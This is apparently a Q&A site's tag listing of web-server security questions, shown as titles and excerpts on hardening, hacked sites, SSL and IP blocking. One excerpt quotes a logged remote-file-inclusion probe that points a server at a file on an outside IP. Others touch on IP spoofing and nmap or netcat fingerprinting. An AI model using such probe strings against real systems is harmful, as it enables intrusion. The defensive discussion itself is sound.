A system whose primary function is to deliver web pages on request to clients.
5
votes
4answers
117 views
How to know if two IP addresses point to the same web server?
Doing some testing against two IP address in the scope I find one web server in each one. Both host what it seems the same web application.
They are different public (accessible through Internet) IP ...
1
vote
2answers
84 views
How to allow only some specific computer systems to access website? [duplicate]
I need a process to allow only certain computer systems access to the website irrespective of the network they are using.
Much like a Licensing system, I can provide a private key or something ...
7
votes
2answers
119 views
Isolating Web application hosted on same web server
I am working on a scenario if we have two or more web application hosted on a same server. Let says Web application X is vulnerable so how can i be sure that it will not effect the other web ...
5
votes
3answers
181 views
How to block an IP, if getting many http requests in a second
If some one tried force burst attack on my website, how can I block them?
I mean, I want to block an IP if I have many http/Apache requests in a second.
Thanks in advance.
-6
votes
1answer
94 views
Hacker problems - They stole my backups [closed]
I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
4
votes
3answers
143 views
Failed PCI-DSS Compliance | Submitting Evidence
One of our web servers that is managed by a service provider (completely in their control, we have no login access) just failed PCI-DSS vuln. scan by TrustKeeper. The vuln scan detected the box as a ...
2
votes
2answers
61 views
Can clients execute my python CGI at will?
I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\. To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery ...
2
votes
2answers
80 views
How to protect source code that resides on virtualbox web server which starts at boot?
I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ...
-2
votes
3answers
52 views
Do Mobile Device Management solutions provide a mechanism for an internal website to know what kind of device is connecting? [closed]
Is there any mechanism in mobile device management solutions that would allow a web server (for an internal, authenticated system, e.g. SharePoint) to know that a request is coming from a mobile ...
3
votes
1answer
73 views
Has a HTTP server access to SSL session ID?
I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ...
19
votes
3answers
636 views
Does password-protecting a server's BIOS help in securing sensitive data?
I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
-1
votes
0answers
11 views
Sophos access a webserver from the web [migrated]
I have an web server(IIS) behind an SOPHOS UTM 9
I have setup the Web Application Firewall feature
It is a completely fresh install. No other settings have been eddied.
When I Try to access the ...
1
vote
2answers
97 views
secure certain data on my webserver
I've developed a website where people add their sensitive data. Not credit cards, but lets say they share things about themselves which are private and it wouldn't be good if other people see that ...
47
votes
15answers
5k views
How is “hacking” even possible if I “defend” properly?
On a Linux-based server, I follow basic practices as below:
Make the admin account password long and complicated enough (i.e. theoretically speaking, password cannot be cracked within reasonable ...
2
votes
4answers
254 views
htaccess hacked
I have a dedicated server. A few minutes ago I realized that someone has changed the .htaccess file.
How can I protect against that kind of attack?
Update: I have no code/site live, only a coming ...
1
vote
3answers
133 views
Implication of URL injection in an URL shortener service
EDIT There have been upvotes retracted or downvotes due to, I think, a serious misunderstanding of my question. In the following I'm not concerned about the URL leading to a site containing malware ...
4
votes
3answers
276 views
Server root attack?
Someone in Hungary tried something odd recently:
/?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt?
This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
1
vote
1answer
55 views
Recognizing malicious URL attempts against your website
On serveral websites I've run, I periodically see URLs run against my servers that look like this:
/url_result?ctw_=sT,een_j...tdmlydXMtc2NhbS1lb........
Does anyone recognize it? I've tried to ...
3
votes
3answers
639 views
Is it possible to execute a php script in an image file? [duplicate]
I have an image upload php website. Users can upload images to my website. A user claims he can hack my website using an uploaded image.
I opened all the images that he uploaded to my server with ...
2
votes
1answer
67 views
How to do security configuration for ibm http server?
We are using IBM HTTP Server Version 7.0
Need help related to Cross Site Scripting Prevention in IBM http server.
Cross Site Scripting Prevention in Sun Java System Web Server 7.0 mentioned in ...
0
votes
2answers
92 views
Create a SSL certificate and sign it with a personal certificate which in turn is signed by a certificate authority [duplicate]
I have a personal certificate which is signed by a certificate authority. This certificate is unrestricted with respect to its allowed purposes. Is it possible to create a SSL server certificate on my ...
1
vote
2answers
93 views
Statistics of attacks on unhardened Web Server
Suppose my web server is on the public internet.
It's not behind firewall hardware.
It does use HTTPS, and it has its OS firewall software turned on - but this is the only security mechanism in place. ...
4
votes
4answers
428 views
What are the disadvantages of Tor?
I've just started using Tor recently, and I'm not sure exactly what security issues come with the benefits.
What should/shouldn't I be worried about (in both everyday normal-web browsing use, in ...
-2
votes
2answers
85 views
Automatic robot crawler to check web pages authenticity?
Our servers seem to be commonly hacked, mostly injecting malicious codes/frames to our web pages or changing downloadable files with backdoors and so on.
Is there any tool that can crawl our website ...
0
votes
3answers
91 views
Odd Server Logs
I have a webapp running using Django. I recently activated some middleware which is supposed to alert me of 404's where the referrer is within my domain (supposedly indicating a 404 that is my fault).
...
3
votes
2answers
100 views
How could this file have been modified?
I was recently asked to help make a few modifications to an old ASP Classic website.
At one point I was looking at the page source while debugging some JavaScript and noticed a div full of links to a ...
3
votes
2answers
171 views
How to remember a trusted machine using two factor authentication (like Google's system)
We are developing a web application that will use two factor authentication. We are likely to try and emulate something similar to that used by google, where to login you enter a username and ...
12
votes
2answers
637 views
How to not reveal that you are using PHP?
I'm bulding a website but some webtools and browser plugins allows anyone to get information on which technologies the website has been built. Is there any Alternative to not reveal that we are ...
0
votes
3answers
123 views
If my server was compromised, is my database safe?
I have an AWS instance running a rails app that I don't actively maintain. Since I didn't keep track of what was going on with this app, I didn't update it promptly when all the rails vulnerabilities ...
0
votes
1answer
137 views
How Twitter got hacked and preventing [closed]
I have been seeing in the news recently that Twitter (including Wall Street Journal and New York Times) got hacked by a sophisticated hacker (group), but I would have assumed they would have ...
-5
votes
2answers
231 views
PHP injection on 777 file [closed]
Some one has modified a PHP file, which had permissions set to 777, on my VPS server.
How can someone do that without administrative access to the server?
What information I can give you?
I know ...
4
votes
3answers
363 views
How do you detect load balancing?
Scenario
You need to PenTest XYZ.com.
You expect, because it is a high traffic site, that multiple servers are being used with a load balancer.
Question
Aside from pulling the MACs (which are ...
-1
votes
1answer
64 views
setting up website for logged in users, anyone, and files no one should see (via the web) [closed]
I asked how to prevent not logged in users from seeing certain content but the solution I chose to implement encountered a problem. I chose to make my root directory for the server C:\WAMP\www\public ...
0
votes
2answers
151 views
Is there an easy way to secure Apache on debian?
I run an Apache webserver with lots of PHP-sites of several customers.
I tried install apache-mod_security2 after this (german) tutorial
that is using these rulesets: ...
2
votes
1answer
125 views
How to secure or (Ensuring Integrity) of Web Data in transit and in store?
Consider (usual scenario) You own a Shopping Cart Website and hosted on Internet, now, your hosting company provides you database to store your data.
If talking about security, we need it for:
...
2
votes
3answers
232 views
Is it possible to list folder from my web server if i have an empty index.html in the root folder?
I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory.
I want to be able to share link with people i know, by creating a folder that look like ...
1
vote
2answers
130 views
HTTPS Certificate mismatch alert before redirection
Let's analyze the following situation:
A server is hosting 10 websites: site1.com - site10.com.
Only one of these websites uses SSL -site1.com.
If you try to access site2 - site10 over https the ...
2
votes
1answer
81 views
Quick Security Mitigations to Impending attacks
Suppose you are the sysadmin, and you know of an impending attack that just started or about to start soon. You can either wait it out, or try a few tricks and quick mitigation to fend off attackers ...
0
votes
0answers
68 views
Client Side Negotiation
I have -MultiViews set and SSLInsecureNegotation off ( in ifmodule of mod_ssl.c) in Apache.
But still vulnerability report says I am vulnerable to client side renegotiation and "This server is ...
5
votes
1answer
184 views
How should I store SSL keys on the server?
I have a Node.JS HTTPS webserver instantiated as follows:
var privateKey = fs.readFileSync('./../ssl/localhost.key').toString();
var certificate = ...
10
votes
4answers
628 views
Security measures against packet sniffing
I work in a environment where packet sniffing can be easily done . I was worried about my confidential data . Please suggest how is it done and precaution which i can take at client level.
7
votes
2answers
85 views
Can other customers on shared hosting see requests from/to my site?
I installed a wiki on my shared webhosting (using Apache) account. This wiki is set to private (no read/edit/create rights for unauthorized users) and I'm the only one with an account.
The wiki ...
2
votes
2answers
225 views
How can I trace Hacking attempt
First of all I dont want to track the hacker. I want to track if the system is being compromised some way. For example when a website is under attack it'll receive malicious data. I want to check ...
1
vote
2answers
92 views
How do I import a PKSC#12 private key into Java 5 (which may require PKCS#7)
I have a newer private key I have to import into an older server.
How do I take a newer PKCS12 cert and import it into an older version of java that uses a different format?
-5
votes
2answers
577 views
How can I spoof my IP address using the PHP curl function? [closed]
I want to spoof my IP address with the PHP curl function. I'm sending requests to a server with PHP curl, my IP address is $ip2, but I want the server to believe that the request is coming from $ip1. ...
1
vote
3answers
230 views
Using Netcat to detect the webserver type
In order to know which server a site is running I can use netcat.
Through the following command I can gather information about the type of server installed.
netcat -vv www.example.com 80
But if ...
3
votes
2answers
217 views
Restarting nginx with Jenkins or Phing - is it safe to allow Jenkins to run sudo without prompt for password
I am implementing the recommendations from Integrating PHP projects with Jenkins for my own PHP projects.
I have created a jenkins user in my ubuntu 12.10 server. I used Phing as my build tool and I ...
1
vote
1answer
88 views
Mitigation Strategies for Response Spliting Attack
I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET ...
0
votes
3answers
121 views
How to retrieve a site whose server is running Linux
I'm struggling to find a way to retrieve through Google a list of sites having Linux as their server operating system.
Actually, I'd like to be able to test the following command:
nmap -O ...
0
votes
2answers
180 views
How to restrict web access to certain countries
What are the better ways of filtering access to the web application based on Geographical location. Is it possible with a network layer firewall or we need an application layer?
